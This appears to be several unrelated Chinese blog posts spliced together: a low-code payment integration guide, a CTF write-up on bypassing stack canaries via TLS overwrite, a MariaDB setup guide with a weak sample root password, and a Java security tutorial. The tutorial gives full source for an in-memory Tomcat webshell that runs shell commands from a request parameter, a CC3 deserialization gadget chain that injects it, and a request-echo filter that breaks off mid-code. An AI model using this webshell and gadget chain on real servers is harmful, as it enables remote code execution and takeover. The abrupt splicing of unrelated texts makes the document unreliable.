2024年4月

前言

移动支付已经成为现代生活中不可或缺的一部分。随着技术的不断发展和普及,越来越多的人通过手机进行支付。支付宝和微信支付作为中国最主要的移动支付平台,已经成为人们日常生活中最常用的支付方式之一。然而,对于一些初创企业或者中小型企业来说,要接入支付宝和微信支付并不是一件容易的事情。传统的接入方式需要大量的开发工作和技术支持,对于没有相关技术背景的企业来说可能会面临很大的困难。

低代码开发平台的出现给这些企业带来了新的机遇。低代码开发平台是一种简化软件开发过程的工具,通过可视化方式进行开发,减少了编码的需求,并提供了丰富的组件库和预置的功能模块,以帮助企业快速构建应用程序。在移动支付领域,低代码开发平台可以极大地简化接入支付宝和微信支付的过程。企业只需要在低代码平台上进行简单的配置和集成,就可以实现与支付宝和微信支付的对接,从而实现移动支付功能。

本文小编将深入探讨低代码如何对接支付宝和微信支付,介绍低代码开发平台的优势和特点,并以葡萄城的企业级低代码开发平台——
活字格
为案例来说明低代码对接支付宝和微信支付的具体步骤。通过阅读本文,读者将能够更好地理解低代码在移动支付领域的应用,并掌握如何利用低代码开发平台快速实现与支付宝和微信支付的对接。在移动支付新时代的背景下,低代码开发平台为企业提供了一个更简单、更快速的方式来接入支付宝和微信支付。让我们一起深入研究并实践这个全新的技术,迎接移动支付的未来。

环境准备

活字格低代码开发平台

微信支付/支付宝支付相关账户信息。

1)前端设计

在活字格中,前端设计变得异常简单,只需要把想要的组件拖拉拽到页面上,即可达到所见即所得的效果,再加上活字格的流式布局,可以让我们所涉及的页面灵活适应不同尺寸显示器及分辨率。

如图这是设计阶段:

这是效果展示:

2)微信支付

(1)配置微信支付设置

在活字格中新建一个服务端命令(可自由在任何时机调用的命令)完成与微信支付的相关配置即可。

(2)JSAPI支付

微信官方参考文档:
JSAPI支付

在活字格中只需要在配置好上述支付设置后,调用对应的支付命令即可。

(3)微信Native下单

使用微信客户端扫码后发起支付。参数请参见:
Native 支付

(4)微信支付回调应答

按文档规范对微信返回应答。在负责支付回调的服务端命令中使用。

(5)微信支付结果通知

对所在服务端命令接收到的相关支付结果及用户信息进行相关处理,并将相关支付结果信息设置为参数。

(6)微信支付订单查询

提供所有微信支付订单的查询,商户可以通过“微信支付订单查询”命令主动查询订单状态,并将查询结果存入指定参数。

(7)微信申请退款

当交易发生之后一段时间内,卖家可以通过“微信申请退款”服务端命令将支付款退还给买家,微信支付将在收到退款请求并且验证成功之后,按照退款规则将支付款按原路退到买家帐号上。

(8)微信支付退款查询

提交退款申请后,通过调用该命令查询退款状态。

JSAPI 微信支付时序图:

Native 微信支付时序图:

3)支付宝支付

(1)配置支付宝支付设置

(2)支付宝电脑网站下单

在支付宝电脑网站场景下单后,返回支付HTML。参数请参见
支付宝电脑网站下单

(3)跳转到支付宝支付页面

接收支付宝电脑网站下单命令返回的支付html, 跳转到支付宝支付页面。此命令需在页面端使用。

(4)支付宝支付结果通知

在用户支付完成之后,支付宝会调用支付宝电脑网站下单中指定服务端命令将支付结果作为参数通知到商家系统。参数请参见
支付宝支付结果通知

(5)支付宝支付回调应答

按文档规范对支付宝返回应答。在负责支付回调的服务端命令中使用。

(6)支付宝支付订单查询

提供支付宝支付订单的查询,可以主动查询订单状态,完成下一步的业务逻辑。参数请参见
支付宝支付订单查询

(7)支付宝申请退款

交易发生之后一段时间内,由于买家或者卖家的原因需要退款时,卖家可以通过此命令将支付款退还给买家,支付宝将在收到退款请求并且验证成功之后,按照退款规则将支付款按原路退到买家帐号上。参数请参见
支付宝申请退款

(8)支付宝支付退款查询

商户可使用该接口查询退款请求是否执行成功。参数请参见
支付宝支付退款查询

支付宝支付时序图

结语

支付宝和微信支付作为中国主要的移动支付平台,给人们带来了便利和快捷。然而,对于一些初创企业或中小型企业来说,接入支付宝和微信支付可能面临一系列困难。低代码开发平台的出现为这些企业提供了解决方案。通过低代码开发平台,企业可以简化接入支付宝和微信支付的过程,减少开发工作和技术支持的需求。

本文介绍了低代码如何对接支付宝和微信支付,并强调了低代码开发平台的优势和特点。通过实际案例的说明,我们可以看到低代码对接支付宝和微信支付的具体步骤。这些步骤简单明了,让企业能够迅速应用和实践。在移动支付新时代的背景下,低代码开发平台为企业带来了更简单、更快速的方式来接入支付宝和微信支付。这一技术不仅为初创企业和中小型企业提供了机会,也为传统企业转型升级提供了新的思路和方法。随着技术的进一步发展,低代码开发平台将在移动支付领域发挥更大的作用。

扩展链接:

从表单驱动到模型驱动,解读低代码开发平台的发展趋势

低代码开发平台是什么?

基于分支的版本管理,帮助低代码从项目交付走向定制化产品开发

劫持TLS绕过canary pwn88

首先了解一下这个东西的前提条件和原理

前提:

  1. 溢出字节够大,通常至少一个page(4K)

  2. 创建一个线程,在线程内栈溢出

原理:

在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。

那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP

然后具体写一下这个题目,毫无疑问canary是开启的

ida打开看一下

main函数里面就这些,我来解释一下pthread_create这个函数,相当于创建了一个进程去执行start函数,而pthread_join让

一个线程等待另一个线程结束。如果代码中没有pthread_join主线程就会很快结束从而使整个进程结束,从而使创建的线程没有机会开始 执行就结束了。

加入pthread_join后,主线程会一直等待直到等待的线程结束自己才结束,使创建的线程有机会执行。

跟进start函数看一下

跟进lenth和readn

相当于,我们一开始输入一个长度,然后readn函数会把我们再次输入的东西放入s中,因为长度最大可以到0x10000,而s长度只有0x1010所以有栈溢出

有canary保护我们可以通过覆盖高地址来覆盖掉TLS,然后就是正常的ROP然后栈迁移到bss段执行one_gadget

exp:

这里覆盖的长度应该大于等于0x1900,否则可能无法覆盖掉TLS进而覆盖掉canary

1、
安装配置
JDK

(1)检查机器是否已安装JDK

执行
java -version命令查看机器是否安装JDK,一般麒麟操作系统默认安装openjdk 1.8。

(2)
安装指定版本
JDK

如果麒麟操作系统默认安装的openjdk 1.8不符合需求的话,可以卸载机器安装的openjdk 1.8并按需安装所需的openjdk版本,此步骤本文不再赘余。

2、
安装配置
mariadb

(1)
检查机器
mariadb rpm包

麒麟操作系统默认都自带mariadb,可以通过
执行
rpm -qa|grep mariadb命令查看机器是否安装
mariadb,如果有类似返回值表示机器已安装mariadb,如果机器mariadb包版本不符合需求的话需要卸载机器mariadb并自行下载指定版本的mariadb rpm包。

(2)
启动
mariadb并配置开启自启

systemctl start mariadb
systemctl enable mariadb

(3)检查服务状态

systemctl status mariadb 

(4)登陆到数据库配置密码


mysql -u root -p命令登录到MariaDB,此时root账户的密码为空。

第一步:改变用户数据库
mysql> use mysql

第二步:修改密码,记得密码要用password()函数进行加密,一定不要忘记!!! 红色是想要配置密码一定按需配置!!!
mysql> update user set password=password('qwe123') where user='root';

第三步:刷新权限表
mysql> flush privileges;

第四步:退出
mysql> exit

(5)修改服务端配置

修改前先备份
mariadb服务端配置文件 。

cd /etc
tar -zcvf mysql0403.tar.gz my.cnf.d

修改服务端配置,在[mysqld]配置下追加以下内容,并新增[myisamchk]配置。

vi /etc/my.cnf.d/mariadb-server.cnf
[mysqld]
symbolic-links=0
character-set-server=utf8
key_buffer_size = 384M
max_allowed_packet = 10M
table_open_cache = 512
sort_buffer_size = 2M
read_buffer_size = 2M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
thread_cache_size = 8
query_cache_size = 32M
skip_ssl
group_concat_max_len=300000
max_heap_table_size = 256M
max_connections=4000
lower_case_table_names=1
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

[myisamchk]
key_buffer_size = 128M
sort_buffer_size = 128M
read_buffer = 2M
write_buffer = 2M

(6)
重新启动
mariadb使配置生效

systemctl restart mariadb

检查服务状态。

systemctl status mariadb

(7)登陆到数据库


mysql -u root -p命令登录到MariaDB,输入密码代表整个数据库安装配置成功。

回顾JSP马

详情见:
https://www.cnblogs.com/F12-blog/p/18666666253
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:

  • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
    限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰
  • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
    限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
  • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
    限制:会导致http包超长,但相对比较通用。

ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力。
举个例子

package org.example;


import java.util.concurrent.TimeUnit;

public class NumUtil {
    public static int addNum = 0;
    public static int add10(int num) throws InterruptedException {
        addNum = num;
        try {
            TimeUnit.SECONDS.sleep(1);
        } catch (InterruptedException e){
            e.printStackTrace();
        }
        return addNum + 10;
    }
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
        ExecutorService executorService = Executors.newFixedThreadPool(20);
        for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                try {
                    System.out.println(num+":"+NumUtil.add10(num));
                } catch (InterruptedException e) {
                    throw new RuntimeException(e);
                }
            });
        }
        executorService.shutdown();
    }
}
// 输出
6:29
11:29
13:29
14:29
0:29
3:29
12:29
15:29
17:29
18:29
7:29
16:29
2:29
1:29
9:29
10:29
19:29
8:29
4:29
5:29

一个利用线程来进行对
addNum
加数的操作,这结果是不是看着怪怪的,全是29。
这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了
addn10
方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出
2:29
这样的数字,其他结果也是同样的道理
解决方法有很多,其中一种就是运用
ThreadLocal
创建独立的线程变量域:
将之前的工具类改为:

public class NumUtil {

    private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();

    public static int add10(int num) {
        addNumThreadLocal.set(num);
        try {
            TimeUnit.SECONDS.sleep(1);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        return addNumThreadLocal.get() + 10;
    }
}
package org.example;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadDemo {
    public static void main(String[] args) {
        ExecutorService executorService = Executors.newFixedThreadPool(20);
        for(int i=0;i<20;i++){
            int num = i;
            executorService.execute(()->{
                System.out.println(num+":"+NumUtil.add10(num));
            });
        }
        executorService.shutdown();
    }
}
// 输出
4:14
16:26
10:20
18:28
17:27
11:21
9:19
2:12
3:13
8:18
15:25
6:16
7:17
0:10
1:11
13:23
12:22
14:24
19:29
5:15

这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量

ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2),简单的写个servlet,然后打个断点访问就能看到调用栈了

可以看到重复调用了
internalDoFilter
,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量
lastServicedRequest

lastServicedResponse
,分别都是ThreadLocal类型:


internalDoFilter
方法中对这两个属性进行了赋值,不过得满足上方的if条件,这里的request和response就是我们目标对象,这里
dispatcherWrapsSameObject
默认就是false,我们可以通过反射修改,第一次访问URL,对
dispatcherWrapsSameObject
进行修改,第二次访问URL就能获取request和response

Springboot版本问题

springboot2和springboot3,它们的if条件不同
springboot2:

springboot3:

反射修改static final属性

在SpringBoot2中
ApplicationDispatcher.WRAP_SAME_OBJECT
的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的

modifiers实际就是一个int类型的
26
,并且每个修饰符都有一个int的值,比如private是
2
,static是
8
,final是
16
那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,图中取反然后按位与操作就是实现减16

JDK版本问题

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错
NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显问题,所以在这里将SpringBoot降到了2.6版本,JDK降到了11

初步构造回显

package com.example.springboot2.controller;

import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
        //反射获取3个属性
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        //去除final修饰符
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        //设置private可访问可修改
        modifiersField.setAccessible(true);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        //反射修改lastServiceresponse和lastservicerequest属性的值
        ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
        boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        //第一次进入时为false和null
        if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
            System.out.println("in");
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        }
        //第二次进入时就进入了if赋值为了request和response,因此进入else
        else {
            String name = "xxx";
            //从req中获取ServletContext对象
            // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
            ServletRequest servletRequest = lastServicedRequest.get();
            ServletContext servletContext = servletRequest.getServletContext();
            System.out.println(servletContext);
            System.out.println(servletRequest);

        }
        return "nothing";
    }
}

访问两次成功获取
ServletContext

request

反序列化注入Servlet内存马

准备一个CC3的环境的springboot2,写一个反序列化入口

package com.example.springboot2.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class echoshell {
    @RequestMapping("/normal")
    @ResponseBody
    public void hello(HttpServletRequest request) throws IOException {
        System.out.println("in");
        byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try{
            System.out.println(objectInputStream.readObject());
        } catch (ClassNotFoundException e){
            e.printStackTrace();
        }
    }
}

准备内存马:

package com.example.springboot2.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class shellcode extends AbstractTranslet implements Servlet{

    static {
        try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                String name = "xxx";
                //从req中获取ServletContext对象
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletResponse servletResponse = threadLocalResp.get();

                ServletContext servletContext = servletRequest.getServletContext();


                if (servletContext.getServletRegistration(name) == null) {
                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }

                    //自定义servlet
                    Servlet servlet = new shellcode();

                    //用Wrapper封装servlet
                    Wrapper newWrapper = o.createWrapper();
                    newWrapper.setName(name);
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(servlet);

                    //向children中添加Wrapper
                    o.addChild(newWrapper);
                    //添加servlet的映射
                    o.addServletMappingDecoded("/shell", name);

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

cc3:

package com.f12;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static String encryptToBase64(String filePath) {
        if (filePath == null) {
            return null;
        }
        try {
            byte[] b = Files.readAllBytes(Paths.get(filePath));
            return Base64.getEncoder().encodeToString(b);
        } catch (IOException e) {
            e.printStackTrace();
        }

        return null;
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        System.out.println(encryptToBase64("cc3.bin"));
//        deserialize("cc3.bin");
//        Map<Object, Object> map = new HashMap<>();
//        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
//        HashMap<Object, Object> hashMap = new HashMap<>();
//        hashMap.put(tiedMapEntry, null);
//        map.remove(null);
//        Field factory = LazyMap.class.getDeclaredField("factory");
//        factory.setAccessible(true);
//        factory.set(lazymap, chainedTransformer);
//        serialize(hashMap);
//        deserialize("cc3.bin");
    }
}

访问两次,虽然会报错,但是能成功注入内存马

局限性

上述是一种半通用的方法,有一定的局限性,该方法入口类是在
ApplicationFilterChain#internalDofilter
方法,假如序列化触发点在这之前的话就无法注入(比如shiro),并且还有JDK和SpringBoot的版本限制

基于Tomcat全局存储进行回显

通杀某些版本

流程分析

还是起个springboot,简单写个servlet,打个断点看调用栈,定位
Http11Processor
,调用了
getAdapter().service(request, response);
,其中的request和response都来自父类
AbstractProcessor

往上找,在
AbstractProtocol#ConnectionHandler
中调用了register方法注册了processor,这里的processor就是上面的
Http11processor


继续跟进,在
register
方法中,有个
RequestInfo
类型的对象rp,里面封装着一个request对象,
rp.setGlobalProcessor(global);
将rp存入global属性中

这个request对象是和之前
Http11processor
中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了
AbstractProtocol

global
属性当中,那现在需要做的就是如何找到储存了
AbstractProtocol
类的地方,只要找到了我们就可以通过反射获取,找到
AbstractEndpoint
其中的Handler接口:

思路图如下:

所以现在就是需要获取
AbstractProtocol
,我们继续观察调用栈,可以发现在
CoyoteAdapter
类中的connector属性中存放了
protocolHandler
对象:

protocolHandler

AbstractProtocol
的继承关系图如下:

并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为
Http11NioProtocol
对象,而这刚好就是
AbstractProtocol
的子类,我们可以通过向上转型从而获取
AbstractProtocol
,然后去获取
global
属性,进而获取
requestinfo
最后获取
request
对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在
TomcatServletWebServerFactory#getWebServer
方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:

后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

WebappClassLoaderBase --> 
	resources(StandardRoot) -->
		context(StandardContext) -->
			context(ApplicationContext) -->
				service(StandardService) -->
					connectors(Connector[]) -->
						protocolHandler(ProtocolHandler) -->
							(转型)protocolHandler(AbstractProtocol) -->
								(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
									global(RequestGroupInfo) -->
										processors(ArrayList) -->
											requestInfo(RequestInfo) -->
												req(org.apache.coyote.Request) --getNote-->
													request(org.apache.connector.Request) -->
														response(org.apache.connector.Response)

有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者

内存马回显构造

package com.example.springboot2.filter;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
    @Override
    public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
        String cmd = null;
        try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = loader.getResources().getContext();
            // 获取 ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
            // 获取 StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);

            // 获取 Connector 并筛选 HTTP Connector
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().contains("http")) {
                    // 获取 AbstractProtocol 对象
                    AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

                    // 获取 AbstractProtocol$ConnectionHandler
                    Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                    getHandler.setAccessible(true);
                    AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

                    // global(RequestGroupInfo)
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

                    // processors (ArrayList)
                    Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    ArrayList processors = (ArrayList) processorsField.get(global);

                    for (Object processor : processors) {
                        RequestInfo requestInfo = (RequestInfo) processor;
                        // 依据 QueryString 获取对应的 RequestInfo
                        if (requestInfo.getCurrentQueryString().contains("cmd")) {
                            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                            reqField.setAccessible(true);
                            // org.apache.coyote.Request
                            Request requestTemp = (Request) reqField.get(requestInfo);
                            // org.apache.catalina.connector.Request
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

